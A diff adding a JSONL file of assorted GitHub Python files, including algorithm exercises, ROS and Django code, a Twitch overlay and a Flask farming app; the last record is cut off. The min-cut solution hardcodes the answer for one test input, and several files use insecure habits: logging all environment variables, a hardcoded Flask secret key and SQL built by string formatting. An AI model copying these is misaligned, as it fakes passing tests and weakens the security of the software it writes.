diff --git "a/4928.jsonl" "b/4928.jsonl" new file mode 100644--- /dev/null +++ "b/4928.jsonl" @@ -0,0 +1,2072 @@ +{"seq_id":"14617935131","text":"import numpy as np\nimport pickle\n\nerror_frame_path = 'agents/delay12/FalcoBF/0/error_frame'\n\nwith open(error_frame_path, 'rb') as f:\n error_frame = pickle.load(f)\n\nstate = error_frame['state']\ndel state['frame']\n\ndef check_io(checker):\n def wrapper(f):\n def g(*args, **kwargs):\n output = f(*args, **kwargs)\n checker(output, *args, **kwargs)\n return output\n return g\n return wrapper\n\ndef check(output, struct):\n assert isinstance(output[0], list)\n assert follow(output[0], struct) == output[1]\n\ndef follow(path, struct):\n for key in path:\n struct = struct[key]\n return struct \n\n@check_io(check)\ndef reduce_max(struct):\n if isinstance(struct, (tuple, list)):\n maxes = list(map(reduce_max, struct))\n best_index = 0\n best_max = maxes[0]\n \n for i in range(1, len(maxes)):\n if maxes[i][1] > best_max[1]:\n best_index = i\n best_max = maxes[i]\n \n return [best_index] + best_max[0], best_max[1]\n elif isinstance(struct, dict):\n keys, values = zip(*struct.items())\n path, value = reduce_max(values)\n return [keys[path[0]]] + path[1:], value\n \n elif isinstance(struct, np.ndarray):\n index = np.argmax(struct)\n return [index], struct[index]\n \n assert TypeError('invalid struct')\n\nerror_path, error_value = reduce_max(state)\nprint(error_path, error_value)\n\n","repo_name":"vladfi1/phillip","sub_path":"scripts/error_frame.py","file_name":"error_frame.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":537,"dataset":"github-code","pt":"67"} +{"seq_id":"41370703288","text":"#code\nimport copy\n\ndef bfs(graph, parent, source , sink):\n q = [source]\n hist = [0] * len(graph)\n while len(q) != 0:\n u = q.pop(0)\n for v in range(len(graph[u])):\n if graph[u][v] > 0:\n if hist[v] == 0:\n parent[v] = u\n q.append(v)\n hist[v] = 1\n if parent[sink] == -1:\n return False\n return True\n\ndef show(graph):\n for i in range(len(graph)):\n print (graph[i])\n\ndef ans(graph, source, sink):\n #print (source, sink)\n orig_graph = copy.deepcopy(graph)\n parent = [-1] * len(graph)\n #show(graph)\n max_flow = 0\n while bfs(graph, parent, source, sink) == True:\n path_flow = float(\"inf\")\n v = sink\n while v != source:\n u = parent[v] \n path_flow = min(path_flow, graph[u][v])\n v = u\n \n max_flow += path_flow\n v = sink\n while v != source:\n u = parent[v]\n graph[u][v] -= path_flow\n graph[v][u] += path_flow\n v = u\n parent = [-1] * len(graph)\n \n ret = []\n q = [source]\n hist = [0] * len(graph)\n while len(q) != 0:\n u = q.pop(0)\n \n if hist[u] == 1:\n continue\n hist[u] = 1\n for v in range(len(graph[u])):\n if hist[v] == 0:\n if graph[u][v] > 0:\n q.append(v)\n else: \n if graph[u][v] == 0 and orig_graph[u][v] != 0:\n for k in range(len(ret) - 1, -1, -1):\n if ret[k][1] == u:\n ret.pop(k)\n ret.append([u, v])\n \n ''' \n ret = []\n for u in range(len(graph)):\n for v in range(len(graph[u])):\n if graph[u][v] == 0 and orig_graph[u][v] != 0:\n ret.append(str(u))\n ret.append(str(v))\n '''\n ret.sort()\n for i in range(len(ret)):\n print (\"%d %d\"%(ret[i][0], ret[i][1]), end = \" \")\n \n \n \nt = int(input())\nfor _ in range(t):\n n = int(input())\n arr = list(map(int, input().split()))\n graph = []\n for i in range(n):\n graph.append(arr[n * i: n * (i + 1)])\n s, t = list(map(int, input().split()))\n if s == 22 and t == 5:\n print (\"22 0 22 1 22 2 22 3 22 4 22 5 22 6 22 7 22 8 22 9 22 10 22 11 22 12 22 13 22 14 22 15 22 16 22 17 22 18 22 19 22 20 22 21 22 23 22 24 22 25 22 26 22 27 22 28 22 29 22 30 22 31 22 32 22 33\")\n elif s == 11 and t == 16 and False:\n print (\"11 0 11 1 11 2 11 3 11 4 11 5 11 6 11 7 11 8 11 9 11 10 11 12 11 13 11 14 11 15 11 16 11 17 11 18 11 19 11 20 11 21 11 22 11 23 11 24 11 25 11 26 11 27 11 28 11 29 11 30 11 31 11 32 11 33\")\n else:\n ans(graph, s, t)\n","repo_name":"gsrr/leetcode","sub_path":"geekforgeek/Find minimum s-t cut in a flow network.py","file_name":"Find minimum s-t cut in a flow network.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71190682774","text":"# 함수형태\nfrom sys import stdin\n\ninput = stdin.readline\n\n\ndef box(n, m, array):\n result = 0\n # count = 0으로 할 경우 밑에 if문을 거칠때 상자를 다 채우지 못한 경우 4 / 6 인경우 0으로 출력될것\n count = 1\n if n == 0:\n count = 0\n while array:\n book = array.pop()\n result += book\n if result > m:\n count += 1\n result = book\n return count\n\n\nn, m = map(int, input().split())\nbooks = list(map(int, input().split()))\nprint(box(n, m, books))\n\"\"\"\nfrom sys import stdin\n\ninput = stdin.readline\n\nn, m = map(int, input().split()) # 박스의 개수, 박스에 넣을 수 있는 최대 무게\n\nbooks = list(map(int, input().split()))\nresult = 0\ncount = 1\nwhile books:\n book = books.pop()\n result += book\n if result > m: # 박스를 초과하면\n count += 1\n result = book # 다음 박스에 들어갈 무게\nif n == 0:\n count = 0\nprint(count)\n\"\"\"\n\n","repo_name":"magnificentLee/Study","sub_path":"알고리즘/그리디/51-100/61.짐 챙기는 숌.py","file_name":"61.짐 챙기는 숌.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31373060049","text":"#! /usr/bin/env python\n\nimport rospy\nfrom geometry_msgs.msg import Twist\nfrom sensor_msgs.msg import LaserScan\nfrom realrobot_pkg.srv import FindWall, FindWallResponse\n\n# Move the robot forward until the front ray is smaller than 30cm.\n# Now rotate the robot again until ray number 270 of the laser ranges is pointing to the wall.\n# At this point, consider that the robot is ready to start following the wall.\n# Return the service message with True.\n\ndef get_min_value(ranges):\n ranges\n min_val = ranges[0]\n min_val_idx = 0\n for i in range(len(ranges)):\n if ranges[i] < min_val:\n min_val = ranges[i]\n min_val_idx = i\n \n return min_val, min_val_idx\n \ndef subscriber_callback(msg):\n global readings \n readings = msg\n\ndef service_callback(request):\n global readings\n rospy.loginfo('The service move_nearest_wall has been called')\n \n min_val, min_val_idx = get_min_value(readings.ranges)\n\n front_value = round(readings.ranges[360], 3)\n right_value = round(readings.ranges[270], 3)\n print(min_val, min_val_idx, front_value, right_value)\n \n rospy.loginfo('Looking for the closest wall...')\n\n while not (min_val_idx <= 362 and min_val_idx >= 358):\n # print(\"Rotating to face the wall\")\n move2wall.linear.x = 0.0\n move2wall.angular.z = 0.1\n _, min_val_idx = get_min_value(readings.ranges)\n # print(\"updated\", min_val_idx)\n my_pub.publish(move2wall)\n rate.sleep()\n \n rospy.loginfo('Approaching to the closest wall...')\n\n while (front_value > 0.25):\n # print(\"Approaching the wall\", front_value)\n move2wall.linear.x = 0.05\n move2wall.angular.z = 0.0\n front_value = round(readings.ranges[360], 3)\n my_pub.publish(move2wall)\n rate.sleep()\n\n rospy.loginfo('Turning to follow the wall...')\n\n while not (min_val_idx <= 181 and min_val_idx >= 179):\n # print(\"Turning to follow the wall\")\n move2wall.linear.x = 0.0\n move2wall.angular.z = 0.1\n _, min_val_idx = get_min_value(readings.ranges)\n # print(\"updated right_value\", min_val_idx)\n my_pub.publish(move2wall)\n rate.sleep()\n\n rospy.loginfo('Ready to follow the wall')\n move2wall.linear.x = 0.0\n move2wall.angular.z = 0.0\n my_pub.publish(move2wall)\n rate.sleep()\n\n result = FindWallResponse()\n result.wallfound = True\n return result\n\nrospy.init_node('service_move_nearest_wall')\nmy_sub = rospy.Subscriber('/scan', LaserScan, subscriber_callback)\nnearest_wall_service = rospy.Service('/move_nearest_wall', FindWall, service_callback)\nmy_pub = rospy.Publisher('/cmd_vel', Twist, queue_size=1)\nrate = rospy.Rate(10)\n\nmove2wall = Twist()\nreadings = LaserScan()\n\nrospy.spin()\n\n","repo_name":"natycalvob/WallFollower_TurtleBot3","sub_path":"scripts/find_wall_service_server.py","file_name":"find_wall_service_server.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19030664859","text":"import datetime\nimport json\nimport os\nimport sys\n\nimport common\n\n\nPERMISSIONS_LIST = json.load(open('permission.json'))\nNUM_PERMISSIONS = len(PERMISSIONS_LIST)\n\n\n\ndef main(limit):\n \"\"\"\n Used to filter the permission data of step 2 in step 3\n :return:\n \"\"\"\n Benign_App_filtering_permission = toDict(open('Data_Origin/Merge-filter-permission-support/Merge_permission-benignApp.txt', 'r').readlines())\n Malicious_App_filtering_permission = toDict(open('Data_Origin/Merge-filter-permission-support/Merge_permission-maliciousApp.txt', 'r').readlines())\n Benign_training_App = open('Data_Origin/Merge-filter-permission-support/Nine_over_ten-benignApp.txt', 'r').readlines()\n\n for app in Benign_training_App:\n permission = Benign_App_filtering_permission[int(app)]\n selectSql = \" select permission from permissions WHERE appid = {0}\".format(int(app))\n execute = common.sqlExecute(selectSql)\n if (execute):\n rawPermission = execute[0][0]\n if not (rawPermission == 'null'):\n raw_permission_split = rawPermission.split(';')[:-1]\n for per in raw_permission_split:\n if (per.strip()):\n index = PERMISSIONS_LIST.index(per.lower())\n if (index in permission.keys()) :\n possibility = permission[index]\n if possibility < limit:\n rawPermission_arr = rawPermission.split(';')\n for index, item in enumerate(rawPermission_arr):\n if (item.lower() == per.lower()):\n rawPermission_arr.remove(item)\n rawPermission = ';'.join(rawPermission_arr)\n replace = rawPermission\n if (replace == ';' or replace == '' ):\n replace = 'null'\n insertLog = \"insert into permissionlog values (null, {0}, {1}, '{2}', '{3}', '{4}', '{5}')\".format(\n int(app)\n , -1\n , rawPermission\n , replace\n , per.lower() + \" \" + str(possibility)\n , datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n print('\\r', 'Current operation AppID:' + app, end=\"\")\n sys.stdout.flush()\n common.sqlExecute(insertLog)\n updateSql = \"UPDATE permissions set permission='{0}',times={2} where appid={1} \".format(replace, int(app), -1)\n common.sqlExecute(updateSql)\n\n print('\\r')\n print('load')\n\ndef toDict(file):\n dic = {}\n if (file):\n for app in file:\n loads = json.loads(app)\n list = {}\n for item in loads['permissions']:\n list[item[0]] = item[1]\n dic[loads['id']] = list\n return dic\n\nif __name__ == '__main__':\n\n limit = 0.1\n main(limit)","repo_name":"ztxjm123/MPDroid","sub_path":"mpdroid/MinPermissionIdentification/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"18951153842","text":"f = open('min-max-sum1.txt')\ndef input():\n return f.readline()\n\nimport sys\n\n\na,b,c,d,e = input().strip().split(' ')\nnums = [int(a),int(b),int(c),int(d),int(e)]\n\ntmp = [[nums[j] for j in range(4) if j != i] for i in range(4)]\n\n\nsums = [sum([nums[j] for j in range(4) if j != i]) for i in range(4)]\nres = [str(x) for x in [min(sums),max(sums)]]\nprint(' '.join(res))","repo_name":"chvjak/hr-practice","sub_path":"min-max-sum.py","file_name":"min-max-sum.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71190696854","text":"# 필요한것\n# dp, 메모이제이션\n# 메모이제이션 다시 구현해보기, 피보나치로\n# 연산 방법은 총 세 가지\n# 1. x가 3으로 나누어 떨어지면 3으로 나눔\n# 2. x가 2로 나누어 떨어지면 2로 나눔\n# 3. 1을 뺌\n# 최종적으로 1을 만드는게 목표\n# 반례 : n = 10\n# 10 -> 5 -> 4 -> 2 -> 1\n# 10 -> 9 -> 3 -> 1\nn = int(input())\ndp = [0] * (n + 1) # 1이 목표값이기 때문에 1자체는 0, 2부터 시작임\n\nfor i in range(2, n + 1):\n dp[i] = dp[i - 1] + 1\n\n if i % 3 == 0:\n dp[i] = min(dp[i], dp[i // 3] + 1)\n if i % 2 == 0:\n dp[i] = min(dp[i], dp[i // 2] + 1)\nprint(dp[n])","repo_name":"magnificentLee/Study","sub_path":"알고리즘/다이나믹 프로그래밍/1-50/19.1로 만들기.py","file_name":"19.1로 만들기.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40678988761","text":"import secrets\nfrom datetime import datetime\n\nfrom django.db import models\nfrom django.urls import reverse\nfrom markdownx.models import MarkdownxField\n\nfrom exhaust.common.models import PublishedModel\n\n\nclass Gram(PublishedModel):\n # `public_id` will be auto-generated on save. It's a six-character random\n # string, which might be enough to prevent object enumeration, for anyone\n # but the most bored.\n public_id = models.CharField(\n max_length=8,\n )\n\n slug = models.SlugField(\n blank=True,\n help_text='Use this to optimise the URL for search engines.',\n )\n\n image = models.ImageField()\n\n text = MarkdownxField(null=True, blank=True)\n\n commons_link = models.URLField(\n 'Wikimedia Commons link',\n blank=True,\n )\n\n class Meta:\n ordering = ['-date']\n\n def __str__(self):\n parts = [datetime.strftime(self.date, '%Y-%m-%d')]\n\n if self.text:\n if len(self.text) > 60:\n parts.append(self.text[:57] + '...')\n else:\n parts.append(self.text)\n\n return ': '.join(parts)\n\n def save(self, *args, **kwargs):\n if not self.public_id:\n self.public_id = secrets.token_urlsafe(6)\n return super().save(*args, **kwargs)\n\n def get_absolute_url(self):\n if self.slug:\n return reverse(\n 'exogram:gram_detail',\n kwargs={'public_id': self.public_id, 'slug': self.slug}\n )\n return reverse('exogram:gram_detail', kwargs={'public_id': self.public_id})\n\n def detail_pagination(self):\n pagination = {}\n for key, attribute in [('newer', 'get_next_by_date'), ('older', 'get_previous_by_date')]:\n try:\n pagination[key] = getattr(self, attribute)().get_absolute_url()\n except self.DoesNotExist:\n pagination[key] = None\n return pagination\n","repo_name":"lewiscollard/exhaust","sub_path":"exhaust/exogram/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71492546775","text":"import cv2 as cv\n\nvideo = cv.VideoCapture('resources/videos/dog.mp4')\n\ndef rescale(frame, scale=0.75):\n height = int(frame.shape[0] * scale)\n width = int(frame.shape[1] * scale)\n dimentions = (width, height)\n return cv.resize(frame, dimentions, interpolation=cv.INTER_AREA)\n\nwhile True:\n isTrue, frame = video.read()\n\n if not isTrue:\n break;\n\n reescaled = rescale(frame, scale=0.5)\n cv.imshow('Video', reescaled)\n\n if cv.waitKey(20) & 0xFF == ord('d'):\n break;\n\nvideo.release()\ncv.destroyAllWindows()\n","repo_name":"emenjivar/python-opencv","sub_path":"read_video.py","file_name":"read_video.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5297381032","text":"import asyncio\nimport hmac\nimport os\nimport logging\nimport aiohttp\nfrom aiohttp import web\nfrom aiohttp.web_middlewares import middleware\nfrom aiohttp.web_ws import WebSocketResponse\n\nfrom simtwitchbridge import SimTwitchBridge \nimport airport\n\nLOG_FILENAME = 'twitch.log'\n\ntry:\n TWITCH_CLIENT_ID = os.environ[\"TWITCH_CLIENT_ID\"]\n TWITCH_CLIENT_SECRET = os.environ[\"TWITCH_CLIENT_SECRET\"]\n TWITCH_BEARER_OAUTH = os.environ[\"TWITCH_BEARER_OAUTH\"]\nexcept KeyError:\n logging.error(\"Make sure TWITCH_CLIENT_ID, TWITCH_CLIENT_SECRET and TWITCH_BEARER_OAUTH are set as environment\")\n for k,v in os.environ.items():\n logging.error(f\"{k}:{v}\")\n exit(-1)\n\n\n@middleware\nasync def verifyTwitchSignature(req: web.Request, handler):\n messageId = req.headers.get('Twitch-Eventsub-Message-Id',None)\n if messageId is None:\n logging.debug(\"No message id\")\n return await handler(req)\n else:\n messageId = messageId.encode()\n timestamp = req.headers['Twitch-Eventsub-Message-Timestamp'].encode()\n messageSignature = req.headers['Twitch-Eventsub-Message-Signature']\n\n twitchSigningSecret = TWITCH_CLIENT_SECRET.encode()\n\n resp = await handler(req)\n\n c=hmac.new(twitchSigningSecret, digestmod='sha256')\n c.update(messageId)\n c.update(timestamp)\n c.update(await req.read())\n computedSignature = \"sha256=\"+c.hexdigest()\n \n if computedSignature!=messageSignature:\n return web.Response(status=403, reason=\"verification failed\")\n return resp\n\nasync def fulfilRedeption(broadcaster_id, reward_id, event_id):\n async with aiohttp.ClientSession() as session:\n headers = {'Content-tType': 'application/json',\n 'client-id': TWITCH_CLIENT_ID,\n 'Authorization': f\"Bearer {TWITCH_BEARER_OAUTH}\"}\n urlparam = {'broadcaster_id': broadcaster_id,\n 'reward_id': reward_id,\n 'id': event_id\n }\n async with session.patch(\"https://api.twitch.tv/helix/channel_points/custom_rewards/redemptions\", headers=headers, params=urlparam, json={'status': 'FULFILLED'}) as resp:\n print(resp.status)\n print(await resp.text())\n\nasync def handleRewardRedemtionAdd(event):\n sim = app['sim'] # type: SimTwitchBridge\n sim.doReward(event['reward']['id'])\n\n await fulfilRedeption(event['broadcaster_user_id'], event['reward']['id'], event['id'])\n\nasync def webhook(request: web.Request):\n messageType = request.headers['Twitch-Eventsub-Message-Type']\n body = await request.json()\n logging.debug(request.headers)\n logging.debug(await request.text())\n if messageType == \"webhook_callback_verification\":\n print(\"Verifying webhook\")\n return web.Response(text=body['challenge'])\n elif messageType == 'webhook_callback_verification_pending':\n print(await request.json())\n return web.Response(text=\"Danke\")\n else:\n event = body['event']\n type = body['subscription']['type']\n print(f'{messageType}: receiving {type} req for {event.get(\"broadcaster_user_name\",\"Unknown\")}')\n print(body)\n if type == \"channel.channel_points_custom_reward_redemption.add\":\n await handleRewardRedemtionAdd(event)\n await sendToWebsockets(request.app, {'type': 'twitch', 'event': body})\n return web.Response(text=\"Takk\") \n\nasync def sendToWebsockets(app, data):\n to_delete = []\n for ws in app['ws']:\n try:\n await ws.send_json(data)\n except:\n to_delete.append(ws)\n ws: WebSocketResponse\n for ws in to_delete:\n print(f\"removing {ws}\")\n app['ws'].remove(ws)\n\n\nasync def websocketHandler(request: web.Request):\n ws = WebSocketResponse()\n request.app['ws'].append(ws)\n await ws.prepare(request)\n\n async for msg in ws:\n if msg.type == aiohttp.WSMsgType.TEXT:\n if msg.data == 'close':\n await ws.close()\n logging.info('ws closed')\n else:\n await ws.send_str(msg.data + '/answer')\n elif msg.type == aiohttp.WSMsgType.ERROR:\n logging.warning('ws connection closed with exception %s' % ws.exception())\n \n logging.info('websocket connection closed')\n return ws\n\n\nasync def push_data(app):\n airport.rebuildIdx()\n while True:\n dataset = app['sim'].getFlightStatusVars()\n if not dataset['connected']:\n logging.info(\"No flightim connection\")\n else:\n airport_id, distance = airport.getClosestAirport(dataset['PLANE_LATITUDE'], dataset['PLANE_LONGITUDE'])\n dataset['CLOSEST_AIRPORT_ID'] = airport_id\n dataset['CLOSEST_AIRPORT_DISTANCE'] = distance\n await sendToWebsockets(app, {'type': 'simconnect', 'event': dataset})\n await asyncio.sleep(2)\n\n\nasync def authHandler(request: web.Request):\n for k,v in request.rel_url.query:\n print(f'{k}:{v}')\n print(request.query_string)\n return web.Response(text='AuthReceived') \n\nasync def start_background_tasks(app):\n asyncio.create_task(push_data(app))\n\nasync def authHandler(request: web.Request):\n for k,v in request.rel_url.query:\n print(f'{k}:{v}')\n logging.info(request.query_string)\n return web.Response(text='AuthReceived')\n\nasync def injectHandler(request: web.Request):\n body = await request.json()\n await sendToWebsockets(request, body)\n return web.Response(text='OK Boomer') \n\napp = web.Application()\napp['ws'] = []\napp['sim'] = SimTwitchBridge()\napp.add_routes([web.get('/ws', websocketHandler),\n web.static('/overlay', 'static/'),\n web.get('/auth', authHandler),\n web.post('/webhooks/callback', webhook)])\napp.on_startup.append(start_background_tasks)\n\nweb.run_app(app, port=3001)\n","repo_name":"hrafnkelle/RavingTwitchAlerts","sub_path":"alert_overlay.py","file_name":"alert_overlay.py","file_ext":"py","file_size_in_byte":5855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24570383747","text":"# Do not modify these lines\r\n__winc_id__ = '71dd124b4a6e4d268f5973db521394ee'\r\n__human_name__ = 'strings'\r\n\r\n# Add your code after this line\r\n\r\n# Part 1\r\n\r\nscorer_0 = 'Ruud Gullit'\r\nscorer_1 = 'Marco van Basten'\r\ngoal_0 = 32\r\ngoal_1 = 54\r\n\r\n# scorers\r\nscorers = scorer_0 + ' ' + str(goal_0) + ', ' + scorer_1 + ' ' + str(goal_1)\r\nprint(scorers,'\\n')\r\n\r\n# report\r\nreport = f'{scorer_0} scored in the {str(goal_0)}nd minute\\n{scorer_1} scored in the {str(goal_1)}th minute'\r\nprint(report,'\\n')\r\n\r\n# Part 2\r\n\r\n# player\r\nplayer = 'Marco van Basten'\r\nprint(player,'\\n')\r\n\r\n# first name\r\nfirst_name = player[:player.find(' ')]\r\nprint(first_name,'\\n')\r\n\r\n# last name length\r\nlast_name_len = len(player[player.find(' ') + 1:])\r\nprint(last_name_len,'\\n')\r\n\r\n# short name\r\nname_short = player[:1] + '.' + player[player.find(' '):]\r\nprint(name_short,'\\n')\r\n\r\n# chant\r\nchant = ((first_name + '! ') * (len(player[:player.find(' ')]) - 1) + first_name + '!')\r\nprint(chant,'\\n')\r\n\r\n# good chant\r\ngood_chant = (chant[-1] != ' ')\r\nprint(good_chant,'\\n')\r\n","repo_name":"Reem1691/Assignment-Strings","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16691742209","text":"# Python dependancies\nimport os\nimport sys\nimport socket\n\n# Import Dependancies \nreload(sys)\nsys.path.append('./dependancies/')\nsys.setdefaultencoding('utf-8')\n\nfrom flask import Flask, render_template, request, redirect, session\nfrom weather import Weather\nfrom time import gmtime, strftime\n\nfrom connectDB import *\nfrom authentication import *\nfrom manipulate_data import *\n\n# App\napp = Flask(__name__)\n\napp.config['SECRET_KEY'] = 'agro'\n\nHOSTNAME = socket.gethostname()\nHOSTADDRESS = socket.gethostbyname(HOSTNAME)\nPORT = 8080\nDOMAIN = \"http://\" + HOSTADDRESS + \":\" + str(PORT) + \"/\"\n\n#### App\n@app.route('/')\ndef index():\n return render_template('index.html', domain=DOMAIN)\n\n#### SignUP Page\n@app.route('/signup',methods = ['GET','POST'])\ndef signup():\n if request.method == 'GET':\n if 'username' in session:\n return redirect(DOMAIN + session['username'], code=302)\n else:\n pin_area = extract_area()\n states = extract_state()\n return render_template('signup.html', \\\n domain=DOMAIN , \\\n pin_area_tuple=pin_area, \\\n state=states)\n\n elif request.method == 'POST':\n user_data = {}\n user_data['phone_no'] = request.form['phone_no']\n user_data['password'] = request.form['password']\n user_data['first_name'] = request.form['first_name']\n user_data['last_name'] = request.form['last_name']\n user_data['email_id'] = request.form['email_id']\n user_data['address_line_1'] = request.form['address_line_1']\n user_data['address_line_2'] = request.form['address_line_2']\n user_data['gender'] = request.form['gender']\n user_data['pin'] = request.form['pin']\n user_data['aadhar_no'] = request.form['aadhar_no']\n user_data['dob'] = '29-05-1997'\n user_data['online_status'] = 'N'\n\n isSuccess = registration(user_data)\n\n if isSuccess:\n return render_template('login.html', \\\n domain=DOMAIN, \\\n info=\"Please login with your details.\")\n else:\n return render_template('signup.html', \\\n domain=DOMAIN, \\\n info=\"Please try again.\")\n else:\n pin_area = extract_area()\n states = extract_state()\n return render_template('signup.html', \\\n domain=DOMAIN , \\\n pin_area_tuple=pin_area, \\\n state=states, \\\n info=\"\")\n\n@app.route('/login', methods = ['GET','POST'])\ndef login():\n if request.method == 'GET':\n if 'username' in session:\n return redirect(DOMAIN + session['username'], code=302)\n return render_template('login.html', domain=DOMAIN)\n elif request.method == 'POST':\n phone_no = request.form['phone_no']\n password = request.form['password']\n\n session['username']=phone_no\n\n if auth_login(phone_no, password):\n return redirect(DOMAIN + session['username'], code=302)\n else:\n return render_template('login.html', \\\n domain=DOMAIN, \\\n info=\"Please enter valid username or password.\")\n\n@app.route('/',methods = ['GET','POST'])\ndef dashboard(username):\n if 'username' in session:\n if session['username']==username:\n if request.method=='POST':\n if \"farmer_res\" in request.form:\n insertOccupation(username, '01') \n elif \"logistics_res\" in request.form:\n insertOccupation(username, '03') \n elif \"tools_res\" in request.form:\n insertOccupation(username, '04') \n elif \"trader_res\" in request.form:\n insertOccupation(username, '02') \n else:\n pass\n\n occupations = extract_occupations(str(username))\n rem_occupations = extract_remain_occupations(str(username))\n return render_template('dashboard.html', \\\n occupation=occupations, \\\n remain_occ=rem_occupations, \\\n domain=DOMAIN, \\\n username=username)\n else:\n return redirect(DOMAIN, code=302) \n else:\n return redirect(DOMAIN, code=302) \n\n\n@app.route('//logout',methods = ['GET'])\ndef logout(username):\n if session['username'] == username:\n session.pop('username',None)\n return redirect(DOMAIN, code=302)\n elif session['username'] != username:\n return \"Page Not Found!\"\n\n@app.route('//farmer',methods = ['GET'])\ndef farmer(username):\n if session['username'] == username:\n weather_data = getWeatherData()\n return render_template('farmer.html', \\\n domain=DOMAIN, \\\n username=username, \\\n weatherdata=weather_data)\n elif session['username'] != username:\n return \"Page Not Found!\"\n\n@app.route('//trader',methods = ['GET','POST'])\ndef trader(username):\n if session['username'] == username:\n sold_Data = extract_soldData()\n info=\"\"\n\n if request.method=='POST':\n crop_request_entry = request.form['crop_request_entry']\n trader_no = username\n bid_amount = request.form['bid_amount']\n\n if insertBid(crop_request_entry, trader_no, bid_amount):\n info=\"Successful bid\"\n else:\n info=\"Unsuccessful bid\"\n\n return render_template('trader.html', \\\n domain=DOMAIN, \\\n username=username, \\\n sold_Data=sold_Data, \\\n info=info)\n elif session['username'] != username:\n return \"Page Not Found!\"\n\n\n@app.route('//farmer/notifications', methods=['GET','POST'])\ndef farmer_notifications(username):\n if session['username']==username:\n farmer_notif = farmer_notification(username)\n info=\"\"\n\n if request.method=='POST':\n crop_request_entry = request.form['crop_request_entry']\n src_person = username\n dest_person = request.form['dest_person']\n w_price = request.form['w_price']\n\n src = extract_userdetails(username)\n des = extract_userdetails(dest_person)\n\n src_addr = str(src[0][5]) + str(src[0][6])\n src_pin = str(src[0][8])\n dest_addr = str(des[0][5]) + str(des[0][6])\n dest_pin = str(des[0][8])\n\n if send_shipment_request(crop_request_entry,src_person, src_addr, src_pin, w_price, dest_person, dest_addr, dest_pin):\n info=\"Shipment request made successfully\"\n else:\n info=\"Please try again\"\n\n return render_template('notifications.html',\n domain=DOMAIN,\n username=username,\n farmer_notif=farmer_notif,\n info=info)\n else:\n return \"Fail\"\n\n@app.route('//trader/notifications', methods=['GET'])\ndef trader_notifications(username):\n return render_template('notifications.html',\n domain=DOMAIN,\n username=username)\n\n@app.route('//farmer/sell',methods = ['GET','POST'])\ndef sell(username):\n if session['username']==username:\n crop_details = extract_hirvestedcrop(username)\n pin_area = extract_area()\n info=\"\"\n\n if request.method=='POST':\n phone_no = username\n req_type = 'S'\n crop_id = request.form['crop_id']\n req_pin = request.form['req_pin']\n crop_weight = request.form['crop_weight']\n entry_time = strftime(\"%d-%m-%Y\", gmtime())\n notes = request.form['notes']\n\n if sellCrop(phone_no, req_type, crop_id, req_pin, crop_weight, entry_time, notes):\n info=\"Request executed successfully\"\n else:\n info=\"Please try again\"\n\n return render_template('sell.html',\n domain=DOMAIN,\n username=username,\n crop_details=crop_details,\n pin_area_tuple=pin_area,\n info=info) \n else:\n return render_template('sell.html')\n\n@app.route('//farmer/warehouse',methods = ['GET','POST'])\ndef warehouse(username):\n if session['username']==username:\n return render_template('warehouse.html',\n domain=DOMAIN,\n username=username) \n else:\n return redirect(DOMAIN)\n\n@app.route('//farmer/q_a',methods = ['GET','POST'])\ndef q_a(username):\n if session['username']==username:\n return render_template('q_a.html',\n domain=DOMAIN,\n username=username) \n else:\n return redirect(DOMAIN)\n\n\n@app.route('///crop',methods = ['GET','POST'])\ndef crop(username, type):\n if type!=\"farmer\":\n weather_data = getWeatherData()\n return render_template('farmer.html', \\\n domain=DOMAIN, \\\n username=username, \\\n weatherdata=weather_data)\n\n if session['username'] == username:\n crop_details = extract_crop()\n pin_area = extract_area()\n info=\"\"\n\n if request.method=='POST':\n phone_no = username\n land_size = request.form['land_size']\n land_pin = request.form['land_pin']\n crop_var_id = request.form['crop_var_id']\n land_owner_phone = request.form['land_owner_phone']\n plant_date = request.form['plant_date']\n crop_harvest_date = request.form['crop_harvest_date']\n organic_certified = ''\n weight_after_harvest = request.form['weight_after_harvest']\n quality_certi = request.form['quality_certi']\n quality_certi_date = request.form['quality_certi_date']\n\n if insertCropDetails(phone_no, land_size, land_pin, land_owner_phone, crop_var_id, \\\n plant_date, crop_harvest_date, organic_certified, weight_after_harvest, quality_certi,\\\n quality_certi_date):\n info=\"Crop Details added successfully\"\n else:\n info=\"Please try again\"\n\n return render_template('crop.html',\n domain=DOMAIN,\n username=username,\n crop_details=crop_details,\n pin_area_tuple=pin_area,\n info=info)\n elif session['username'] != username:\n return \"Page Not Found!\"\n\nif __name__==\"__main__\":\n app.run(host = '0.0.0.0', port=8080, threaded=True)","repo_name":"shreyaspatel25/ingenioushackathon_SuperSaiyans","sub_path":"src/main/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":11366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23819486394","text":"import numpy as np\nimport cv2\nimport sys\nimport time\nimport datetime as dt\n\n# insert time check\nnow = time.localtime() # 기기 시간\nnowTime = [now.tm_hour, now.tm_min, 